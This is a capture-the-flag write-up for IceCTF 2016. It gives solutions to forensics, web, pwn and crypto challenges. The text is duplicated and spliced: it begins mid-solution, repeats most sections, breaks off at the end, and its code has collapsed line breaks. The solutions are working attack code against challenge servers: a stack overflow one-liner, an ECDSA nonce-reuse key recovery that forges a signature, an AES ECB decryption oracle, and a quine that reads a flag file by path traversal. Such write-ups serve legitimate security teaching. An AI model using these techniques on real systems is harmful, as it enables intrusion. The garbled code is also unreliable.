help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
